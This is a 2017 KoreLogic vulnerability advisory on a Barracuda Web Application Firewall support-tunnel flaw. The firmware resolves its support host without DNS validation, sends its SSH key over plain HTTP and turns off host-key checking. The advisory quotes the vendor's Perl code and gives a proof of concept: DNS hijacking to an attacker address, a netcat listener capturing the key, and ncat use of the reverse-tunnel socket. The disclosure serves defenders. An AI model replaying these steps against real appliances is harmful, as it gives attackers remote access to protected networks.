KL-001-2017-014 : Barracuda WAF Support Tunnel Hijack Title: Barracuda WAF Support Tunnel Hijack Advisory ID: KL-001-2017-014 Publication Date: 2017.07.06 Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2017-014.txt 1. Vulnerability Details Affected Vendor: Barracuda Affected Product: Web Application Firewall V360 Affected Version: Firmware v8.0.1.014 Platform: Embedded Linux CWE Classification: CWE-304: Missing Critical Step In Authentication Impact: Remote Access Attack vector: DNS, SSH 2. Vulnerability Description During the creation of a tunnel connection to barracuda support, the code creating the tunnels fails to: 1) Validate DNS Records, 2) Validate SSH Host Key, and 3) Transmit Public SSH Key over an encrypted, verified channel. 3. Technical Description file: /usr/local/bin/support-tunnel The first host added to the available remote hosts is done through using DNS resolution on support01.barracudanetworks.com. If an attacker can control DNS, it is possible to subvert network traffic by creating records that will resolve to an attacker's IP address. [snip] sub remote_hosts() { my $central = 'support01.barracudanetworks.com'; my @hosts; my $host = resolv_host($central) || $central; push @hosts, { 'ssh' => { 'host' => $host, 'port' => 22 }, 'web' => { 'host' => $host, 'port' => 80 }, }; push @hosts, { 'ssh' => { 'host' => '64.235.147.77', 'port' => 22 }, 'web' => { 'host' => '64.235.147.77', 'port' => 80 }, }; push @hosts, { 'ssh' => { 'host' => '64.235.154.112', 'port' => 22 }, 'web' => { 'host' => '64.235.154.112', 'port' => 80 }, }; return @hosts; } # remote_hosts [snip] The appliance will send a URL-encoded copy of the public key using HTTP. sub tunnel_post_key($$$$) { my $host = shift; my $port = shift; my $serial = shift; my $pubkey = shift; [snip] $url = sprintf('/tunnel-broker?serial=%s&cs=%s&key=%s&keycs=%s&version=%s', $serial, Digest::MD5::md5_hex($serial), url_escape($pubkey), Digest::MD5::md5_hex($pubkey), url_escape(VERSION)); # # Write an HTTP request. # $req = "GET $url HTTP/1.0\r\nHost: $host\r\n\r\n"; do { $retval = aio_write($sock, $req); } while ($retval == AIO_WOULDBLOCK && $stop > time); if ($retval != AIO_SUCCESS) { throw(SYSTEM_EXCEPTION, "aio_write($addr:$port, $req): $!"); aio_close($sock); return undef; } [snip] return 1; } # tunnel_post_key It should be noted that the appliance is shipped with a default key (pvt_md5:194d9a5167153e1137134e1896d67b47,pub_md5:62c3a6e160cc501f2ffa2d1434176e93) but will generate and submit a new key should the default key no longer exist. This happens in the ssh_key_path function. Finally, the appliance specifically sets StrictHostKeyChecking to no. This instructs the ssh client to ignore any SSH host-key mismatch and allows an attacker to more easily leverage their own SSH server for attacks. sub ssh_command_args($\$$$$;$$) { my $sshcmd = shift; my $serialref = shift; my $sshkey = shift; my $sshhost = shift || 'support01.barracudanetworks.com'; my $sshport = shift || 22; my $lsshport = shift || local_ssh_port || 22; my $lwebport = shift || local_web_port || 8000; my $lsslvpnport = shift; if( get_product() eq "bvs" ) { $lsslvpnport = local_sslvpn_port || 443 if !$lsslvpnport; } my @version = ssh_version_of($sshcmd); my (@args, $has_unixfwd, $has_exitonfwdfailure, $has_defineremotehost); $has_unixfwd = ($version[0] > 4 || ($version[0] == 4 && $version[1] >= 4)); $has_exitonfwdfailure = ($version[0] > 4 || ($version[0] == 4 && $version[1] >= 4)); $has_defineremotehost = ($version[0] >= 4); push @args, '-T'; # Don't allocate a TTY push @args, '-' . ('v' x want_verbose) # Passthru verbosity if want_verbose; push @args, '-o', 'StrictHostKeyChecking=no'; # Ignore Support01 host key (bad idea?) push @args, '-i', $sshkey; push @args, '-o', 'ExitOnForwardFailure=yes' # Abort if forwarding fails. (By default if remote forwarding fails SSH continues the session.) if $has_exitonfwdfailure; if ($has_unixfwd) { push @args, '-R', "[/var/tunnels/ssh/${$serialref}.sock]:127.0.0.1:$lsshport"; push @args, '-R', "[/var/tunnels/www/${$serialref}.sock]:127.0.0.1:$lwebport"; push @args, '-R', "[/var/tunnels/sslvpn/${$serialref}.sock]:127.0.0.1:$lsslvpnport" if get_product() eq "bvs"; [snip] To demonstrate, we created DNS entries to force support01.barracudanetworks.com to resolve to 1.3.3.7. Next, we bound to port 80. Using either the web application or admin console, we initiated a support tunnel connection. # nc -l -p 80 GET /tunnel-broker?serial=853466&cs=6a62a850a77a698f015c35dba7e79a28&key=ssh%2drsa%20AAAAB3NzaC1yc2EAAAABIwAAAQEAuYb3kDIgcgC89npzov3kteC6qkXLzLl%2bopttn5e3WokAlbZFIqFpl67X8ESfhmP7RXaYPiqHEsPEI%2fSuUnapJKYe2gMp7ZmfjYi1rXgXkohWzD8DCZPJUgfUk22zdRWxS%2bhPioXjKwO5nZqu1JdH%2fQ11ModDUEhKOluJLvVrqALTLcFkNsnEy89IpbLCchM8rqn86f38NrCQpqqi7aDx6senUzDit2m6Ay27%2f6hUcGiQi331muHcCXMPUPWvV0gFcpjCN1x15%2bMFCUWkAkaJ4E0%2beXyC7YxgglwwnM36RQarpIElmZ5j6Y2RYGdvQdgHR7esiw34Jfx%2fmT7GM60GHQ%3d%3d&keycs=db06172872d43ce0370b4509f3d0b876&version=2008012801 HTTP/1.1 TE: deflate,gzip;q=0.3 Connection: TE, close Host: support01.barracudanetworks.com User-Agent: libwww-perl/5.805 After creating the appropriate user and adding the public key to the authorized_keys file, the SSH connection was successful. sshd[4946]: Accepted publickey for redir from 1.3.3.7 port 60950 ssh2: RSA de:c6:c2:bd:c0:0a:54:31:32:ad:3b:2d:72:80:77:49 sshd[4946]: pam_unix(sshd:session): session opened for user redir by (uid=0) systemd-logind[692]: New session 92 of user redir. systemd: pam_unix(systemd-user:session): session opened for user redir by (uid=0) The tunnels can be connected to using the newly created unix socket. # ncat -U /var/tunnels/www/853466.sock GET / HTTP/1.1 HTTP/1.1 400 Bad Request Server: BarracudaHTTP 4.0 Date: Thu, 15 Dec 2016 15:27:22 GMT Content-Type: text/html Content-Length: 178 Connection: close